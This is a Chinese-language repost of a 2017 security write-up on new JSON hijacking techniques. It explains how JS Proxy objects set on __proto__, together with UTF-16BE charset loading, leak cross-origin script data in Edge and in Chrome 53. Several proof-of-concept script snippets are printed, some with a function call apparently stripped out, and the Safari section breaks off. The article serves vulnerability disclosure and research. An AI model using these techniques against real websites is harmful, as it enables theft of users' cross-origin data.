JSON

【技术分享】现代浏览器中的新型JSON劫持技术

字号+ 作者:H5之家 来源:H5之家 2017-01-22 12:00 我要评论( )

近期,安全研究专家Benjamin Dumke-von der Ehe发现了一种能够跨域窃取数据的新方法。在JS代理(JS proxies)的帮助下,他可以自己创建一个用于窃取未定义JavaSc

【技术分享】现代浏览器中的新型JSON劫持技术


http://p3.qhimg.com/t018fa7bab0d23171f4.png

虽然Edge可以防止我们直接为window.__proto__属性赋值,但是微软的工程师似乎忘记Object.setPrototypeOf的存在。这样一来,我们就可以通过这种方法用代理__proto__重写原来的__proto__属性。具体代码如下所示:

<script> Object.setPrototypeOf(__proto__,new Proxy(__proto__,{  has:function(target,name){   (name);  } })); </script> <script src="external-script-with-undefined-variable"></script> <!-- script contains: stealme -->

如果你引入了一个跨域脚本,并且脚本中包含变量“stealme”的话,你将会看到浏览器弹出这个变量的值,即使这是一个未定义的变量。

在进行了进一步测试之后,我发现我们可以通过重写__proto__属性来达到相同的效果。我想在这里解释一下,JavaScript允许我们覆盖或重写其他的方法或对象,包括Array()这种内部方法。所以恶意攻击者可以轻松地将JavaScript中的方法或对象替换为恶意内容。注:__proto__是Edge浏览器中的EventTargetPrototype对象。具体代码如下所示:

<script> __proto__.__proto__=new Proxy(__proto__,{  has:function(target,name){   (name);  } }); </script> <script src="external-script-with-undefined-variable"></script>

假如我们现在接收到了Web服务器返回的响应数据,即一个Array Literal(数组字面量),而且我们可以控制它的部分值。这样一来,我们就可以利用UTF-16BE字符集来将这个数组字面量转变为一个未定义的JavaScript变量,然后再利用上文所描述的技术来窃取它。需要注意的是,所得结果必须是一个有效的JavaScript变量。

比如说,让我们先看看下面这个响应:

["supersecret","input here"]

为了窃取更多的机密数据,我们需要在“aa”之前插入一个空字符(NULL),由于某种原因,Edge并不会将其视为UTF-16BE字符,除非我们注入了下面代码中的这些字符。也许是因为Edge会进行某种字符集嗅探,或者它会截断部分响应数据,此时NULL值后面的字符就会变成一个无效的JS变量。相关代码如下所示:

<!doctype HTML> <script> Object.setPrototypeOf(__proto__,new Proxy(__proto__,{     has:function(target,name){         (name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));     } })); </script> <script charset="UTF-16BE" src="external-script-with-array-literal"></script> <!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->

在Edge上窃取JSON feed的PoC [点我获取]

与之前一样,我们在代码中为__proto__属性设置了代理,脚本中还包含一个UTF-16BE字符集和一个包含有NULL值的响应。接下来,我对UTF-16BE编码字符串进行按位右移8位的解码操作,并获取到了其第一个字节的数据,然后又通过“按位与”计算获取到了第二个字节的内容。结果我们得到了一个警告弹窗,内容为“[“supersecret””,似乎Edge会将响应数据中NULL之后的内容截断。请注意,这种攻击的适用场景非常有限,因为很多字符在组合之后并不会生成一个有效的JavaScript变量。但是,我们仍然可以在某些场景下利用这项技术窃取到部分有效数据。


在Chrome中窃取JSON feed

请注意:这个问题已经在Chrome 54中得到了修复

这个PoC在Chrome 53版本中可以正常运行 [点我获取]

Chrome的情况就非常糟糕了,因为Chrome相对更加开放,我们可以自由地使用各种脚本和字符集。你不需要对响应数据进行任何的控制,Chrome完全可以正确地使用各种字符集。为了利用这个“功能”,我们还需要另外一个未定义的变量。首先,我对Chrome进行了简单的分析,我发现Chrome似乎不允许我们改写__proto__,但是他Chrome的工程师貌似忘记了__proto__属性可以不断向下延伸…

<script> __proto__.__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{     has:function f(target,name){         var str = f.caller.toString();         (str.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));     } }); </script> <script charset="UTF-16BE" src="external-script-with-array-literal"></script> <!-- script contains the following response: ["supersecret","abc"] -->

测试发现,虽然“name”参数中并没有包含我们的未定义变量,但是函数的caller却得到了我们需要的值。它返回了一个函数,其中包含我们的变量名!很明显,数据使用了UTF-16BE编码,如下所示:

function 嬢獵灥牳散牥琢慢挢崊

没错,我们的变量泄漏在了caller中。你需要调用toString方法来获取它的数据,否则Chrome将会抛出一个异常。在测试的过程中,我还可以跨域获取到XML或HTML数据,这是一个非常严重的信息披露漏洞。不过谷歌目前已经将Chrome中的这个漏洞修复了。


在Safari中窃取JSON feed

在Safari浏览器中实现JSON劫持的PoC [点我获取]

 

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
网友点评